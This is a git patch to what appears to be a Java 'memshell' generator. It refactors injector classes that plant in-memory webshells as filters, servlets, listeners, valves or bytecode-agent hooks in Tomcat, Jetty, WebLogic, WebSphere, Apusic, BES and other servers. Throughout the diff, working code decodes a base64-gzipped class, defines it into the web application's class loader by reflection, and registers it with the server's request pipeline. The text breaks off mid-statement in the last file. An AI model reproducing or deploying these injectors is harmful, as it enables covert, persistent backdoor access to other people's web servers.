From 9be935694cacb4c155bfc72fa91a1220ceb6d1a0 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 16 Nov 2025 12:11:21 +0800 Subject: [PATCH] feat: injector support print some msg --- .../ApusicFilterChainAgentInjector.java | 10 +- .../injector/apusic/ApusicFilterInjector.java | 82 +++++++++---- .../apusic/ApusicListenerInjector.java | 100 ++++++++++----- .../apusic/ApusicServletInjector.java | 100 ++++++++++----- .../bes/BesContextValveAgentInjector.java | 10 +- .../bes/BesFilterChainAgentInjector.java | 2 +- .../injector/bes/BesFilterInjector.java | 85 ++++++++++--- .../injector/bes/BesListenerInjector.java | 76 ++++++++++-- .../injector/bes/BesValveInjector.java | 114 ++++++++++++------ .../GlassFishContextValveAgentInjector.java | 10 +- .../GlassFishFilterChainAgentInjector.java | 10 +- .../glassfish/GlassFishFilterInjector.java | 79 +++++++++--- .../glassfish/GlassFishValveInjector.java | 104 +++++++++++----- .../inforsuite/InforSuiteFilterInjector.java | 83 ++++++++++--- .../injector/jetty/JettyFilterInjector.java | 94 +++++++++++---- .../jetty/JettyHandlerAgentInjector.java | 25 ++-- .../injector/jetty/JettyListenerInjector.java | 97 ++++++++++----- .../injector/jetty/JettyServletInjector.java | 87 ++++++++++--- .../resin/ResinFilterChainAgentInjector.java | 10 +- .../injector/resin/ResinFilterInjector.java | 98 ++++++++++----- .../injector/resin/ResinListenerInjector.java | 84 ++++++++++--- .../injector/resin/ResinServletInjector.java | 98 ++++++++++----- .../SpringWebFluxHandlerFunctionInjector.java | 11 +- .../SpringWebFluxHandlerMethodInjector.java | 2 +- .../SpringWebFluxWebFilterInjector.java | 2 +- ...SpringWebMvcControllerHandlerInjector.java | 76 +++++++----- ...ngWebMvcFrameworkServletAgentInjector.java | 10 +- .../SpringWebMvcInterceptorInjector.java | 70 +++++++---- .../TomcatContextValveAgentInjector.java | 10 +- .../TomcatFilterChainAgentInjector.java | 10 +- .../injector/tomcat/TomcatFilterInjector.java | 95 +++++++++++---- .../tomcat/TomcatListenerInjector.java | 97 ++++++++++----- .../tomcat/TomcatProxyValveInjector.java | 74 ++++++++++-- .../tomcat/TomcatServletInjector.java | 90 +++++++++++--- .../injector/tomcat/TomcatValveInjector.java | 110 +++++++++++------ .../tomcat/TomcatWebSocketInjector.java | 89 +++++++++++--- .../TongWebContextValveAgentInjector.java | 2 +- .../TongWebFilterChainAgentInjector.java | 2 +- .../tongweb/TongWebFilterInjector.java | 79 +++++++++--- .../tongweb/TongWebListenerInjector.java | 83 ++++++++++--- .../tongweb/TongWebValveInjector.java | 102 +++++++++++----- .../undertow/UndertowFilterInjector.java | 84 ++++++++++--- .../undertow/UndertowListenerInjector.java | 100 ++++++++++----- .../UndertowServletHandlerAgentInjector.java | 2 +- .../undertow/UndertowServletInjector.java | 84 ++++++++++--- .../weblogic/WebLogicFilterInjector.java | 94 +++++++++++---- .../weblogic/WebLogicListenerInjector.java | 95 +++++++++++---- .../WebLogicServletContextAgentInjector.java | 2 +- .../weblogic/WebLogicServletInjector.java | 74 ++++++++++-- .../WebSphereFilterChainAgentInjector.java | 2 +- .../websphere/WebSphereFilterInjector.java | 90 ++++++++++---- .../websphere/WebSphereListenerInjector.java | 76 ++++++++++-- .../websphere/WebSphereServletInjector.java | 84 ++++++++++--- .../xxljob/XxlJobNettyHandlerInjector.java | 78 ++++++++---- 54 files changed, 2424 insertions(+), 913 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java index ebb98cf0..1e54013d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java @@ -40,7 +40,6 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer { String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter"); } } } @@ -61,6 +60,7 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); @@ -77,12 +77,8 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer { String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Exception e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java index 55e4328b..e4af7434 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java @@ -19,24 +19,7 @@ import java.util.zip.GZIPInputStream; */ public class ApusicFilterInjector { - String msg = ""; - - public ApusicFilterInjector() { - try { - List contexts = getContext(); - msg += "contexts size: " + contexts.size() + "\n"; - for (Object context : contexts) { - Object shell = getShell(context); - boolean inject = inject(context, shell); - msg += "context: " + getFieldValue(context, "contextRoot") + (inject ? " ok" : " already") + "\n"; - } - } catch (Throwable e) { - ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); - PrintStream printStream = new PrintStream(outputStream); - e.printStackTrace(printStream); - msg += outputStream.toString(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -50,6 +33,45 @@ public class ApusicFilterInjector { return "{{base64Str}}"; } + public ApusicFilterInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + /** * context: com.apusic.web.container.WebContainer * context -> webapp: com.apusic.deploy.runtime.WebModule @@ -92,7 +114,7 @@ public class ApusicFilterInjector { obj = loader.loadClass(getClassName()).newInstance(); defineLoader = internalLoader; } - msg += defineLoader + " loaded \n"; + msg += "[" + defineLoader.getClass().getName() + "] "; return obj; } @@ -107,10 +129,10 @@ public class ApusicFilterInjector { } } - public boolean inject(Object context, Object filter) throws Exception { + public void inject(Object context, Object filter) throws Exception { Object webModule = getFieldValue(context, "webapp"); if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - return false; + return; } // addFilterMapping Class filterMappingClass = context.getClass().getClassLoader().loadClass("com.apusic.deploy.runtime.FilterMapping"); @@ -127,12 +149,11 @@ public class ApusicFilterInjector { Class filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass(); Object filterMapper = getFieldValue(context, "filterMapper"); invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings}); - return true; } @Override public String toString() { - return super.toString() + "\n" + msg; + return msg; } @SuppressWarnings("all") @@ -216,4 +237,19 @@ public class ApusicFilterInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java index 5402d4ef..6e5c9dfe 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java @@ -18,24 +18,7 @@ import java.util.zip.GZIPInputStream; */ public class ApusicListenerInjector { - String msg = ""; - - public ApusicListenerInjector() { - try { - List contexts = getContext(); - msg += "contexts size: " + contexts.size() + "\n"; - for (Object context : contexts) { - Object shell = getShell(context); - boolean inject = inject(context, shell); - msg += "context: " + getFieldValue(context, "contextRoot") +(inject ? " ok" : " already") + "\n"; - } - } catch (Throwable e) { - ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); - PrintStream printStream = new PrintStream(outputStream); - e.printStackTrace(printStream); - msg += outputStream.toString(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -49,6 +32,45 @@ public class ApusicListenerInjector { return "{{base64Str}}"; } + public ApusicListenerInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -68,20 +90,26 @@ public class ApusicListenerInjector { } private Object getShell(Object context) throws Exception { + // WebApp 类加载器,ServletContext 使用这个进行组件的类加载 ClassLoader loader = (ClassLoader) getFieldValue(context, "loader"); + ClassLoader defineLoader; + Object obj; try { + // Apusic 9.0 SPX,优先从当前 loader 进行加载 defineShell(loader); - Object obj = loader.loadClass(getClassName()).newInstance(); - msg += loader + " loaded \n"; - return obj; + // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化) + obj = loader.loadClass(getClassName()).newInstance(); + defineLoader = loader; } catch (ClassNotFoundException e) { - // Apusic 9.0.1 + // Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader"); defineShell(internalLoader); - Object obj = loader.loadClass(getClassName()).newInstance(); - msg += internalLoader + " loaded \n"; - return obj; + // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化) + obj = loader.loadClass(getClassName()).newInstance(); + defineLoader = internalLoader; } + msg += "[" + defineLoader.getClass().getName() + "] "; + return obj; } @SuppressWarnings("all") @@ -95,19 +123,18 @@ public class ApusicListenerInjector { } } - public boolean inject(Object context, Object listener) throws Exception { + public void inject(Object context, Object listener) throws Exception { Object webModule = getFieldValue(context, "webapp"); if ((boolean) invokeMethod(webModule, "hasListener", new Class[]{String.class}, new Object[]{getClassName()})) { - return false; + return; } invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(context, "loadListeners", null, null); - return true; } @Override public String toString() { - return super.toString() + "\n" + msg; + return msg; } @SuppressWarnings("all") @@ -191,4 +218,19 @@ public class ApusicListenerInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java index 449018b6..18c60883 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java @@ -18,24 +18,7 @@ import java.util.zip.GZIPInputStream; */ public class ApusicServletInjector { - String msg = ""; - - public ApusicServletInjector() { - try { - List contexts = getContext(); - msg += "contexts size: " + contexts.size() + "\n"; - for (Object context : contexts) { - Object shell = getShell(context); - boolean inject = inject(context, shell); - msg += "context: " + getFieldValue(context, "contextRoot") +(inject ? " ok" : " already") + "\n"; - } - } catch (Throwable e) { - ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); - PrintStream printStream = new PrintStream(outputStream); - e.printStackTrace(printStream); - msg += outputStream.toString(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -49,6 +32,45 @@ public class ApusicServletInjector { return "{{base64Str}}"; } + public ApusicServletInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -68,20 +90,26 @@ public class ApusicServletInjector { } private Object getShell(Object context) throws Exception { + // WebApp 类加载器,ServletContext 使用这个进行组件的类加载 ClassLoader loader = (ClassLoader) getFieldValue(context, "loader"); + ClassLoader defineLoader; + Object obj; try { + // Apusic 9.0 SPX,优先从当前 loader 进行加载 defineShell(loader); - Object obj = loader.loadClass(getClassName()).newInstance(); - msg += loader + " loaded \n"; - return obj; + // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化) + obj = loader.loadClass(getClassName()).newInstance(); + defineLoader = loader; } catch (ClassNotFoundException e) { - // Apusic 9.0.1 + // Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader"); defineShell(internalLoader); - Object obj = loader.loadClass(getClassName()).newInstance(); - msg += internalLoader + " loaded \n"; - return obj; + // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化) + obj = loader.loadClass(getClassName()).newInstance(); + defineLoader = internalLoader; } + msg += "[" + defineLoader.getClass().getName() + "] "; + return obj; } @SuppressWarnings("all") @@ -95,20 +123,19 @@ public class ApusicServletInjector { } } - public boolean inject(Object context, Object servlet) throws Exception { + public void inject(Object context, Object servlet) throws Exception { Object webModule = getFieldValue(context, "webapp"); Object servletMapper = getFieldValue(context, "servletMapper"); if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - return false; + return; } invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()}); invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}}); - return true; } @Override public String toString() { - return super.toString() + "\n" + msg; + return msg; } @SuppressWarnings("all") @@ -192,4 +219,19 @@ public class ApusicServletInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java index a93597fc..1adf69cd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java @@ -42,7 +42,6 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi inst.retransformClasses(allLoadedClass); } } - System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke"); } @Override @@ -61,6 +60,7 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); @@ -77,12 +77,8 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Exception e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java index 9fe2eda3..cb9f6393 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java @@ -40,7 +40,6 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer { String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter"); } } } @@ -61,6 +60,7 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java index cd595403..02359e18 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java @@ -4,30 +4,18 @@ import javax.servlet.Filter; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; -import java.util.logging.Logger; import java.util.zip.GZIPInputStream; /** * @author ReaJason */ public class BesFilterInjector { - Logger log = Logger.getLogger(BesFilterInjector.class.getName()); - - public BesFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -41,6 +29,45 @@ public class BesFilterInjector { return "{{base64Str}}"; } + public BesFilterInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + /** * com.bes.enterprise.webtier.core.DefaultContext * /opt/bes/lib/bes-engine.jar @@ -73,22 +100,23 @@ public class BesFilterInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("unchecked") public void inject(Object context, Object filter) throws Exception { String filterName = getClassName(); if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - log.warning("filter already exists"); return; } ClassLoader contextClassLoader = context.getClass().getClassLoader(); @@ -110,7 +138,11 @@ public class BesFilterInjector { Object filterConfig = constructors[0].newInstance(context, filterDef); HashMap filterConfigs = (HashMap) getFieldValue(context, "filterConfigs"); filterConfigs.put(filterName, filterConfig); - log.info("filter added successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -194,4 +226,19 @@ public class BesFilterInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java index 2a8dffec..686e82e5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.bes; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; @@ -14,6 +15,8 @@ import java.util.zip.GZIPInputStream; */ public class BesListenerInjector { + private String msg = ""; + public String getClassName() { return "{{className}}"; } @@ -23,15 +26,42 @@ public class BesListenerInjector { } public BesListenerInjector() { + List contexts = null; try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } public List getContext() throws Exception { @@ -62,15 +92,17 @@ public class BesListenerInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") @@ -78,7 +110,6 @@ public class BesListenerInjector { Object[] eventListeners = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null); for (Object eventListener : eventListeners) { if (eventListener.getClass().getName().equals(listener.getClass().getName())) { - System.out.println("listener already exists"); return; } } @@ -86,7 +117,11 @@ public class BesListenerInjector { newListeners.add(listener); newListeners.addAll(Arrays.asList(eventListeners)); invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{newListeners.toArray()}); - System.out.println("listener added successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -135,7 +170,7 @@ public class BesListenerInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -163,4 +198,19 @@ public class BesListenerInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java index 0fb33275..553e196c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.bes; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; @@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream; */ public class BesValveInjector { - public BesValveInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object valve = getShell(context); - inject(context, valve); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getClassName() { return "{{className}}"; @@ -33,6 +24,45 @@ public class BesValveInjector { return "{{base64Str}}"; } + public BesValveInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -49,53 +79,42 @@ public class BesValveInjector { return contexts; } - private ClassLoader getWebAppClassLoader(Object context) { - try { - return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); - } catch (Exception e) { - Object loader = invokeMethod(context, "getLoader", null, null); - return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); - } - } - @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = getWebAppClassLoader(context); + ClassLoader classLoader = context.getClass().getClassLoader(); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } - } - - @SuppressWarnings("all") - public boolean isInjected(Object pipeline) throws Exception { - Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); - List valvesList = Arrays.asList(valves); - for (Object valve : valvesList) { - if 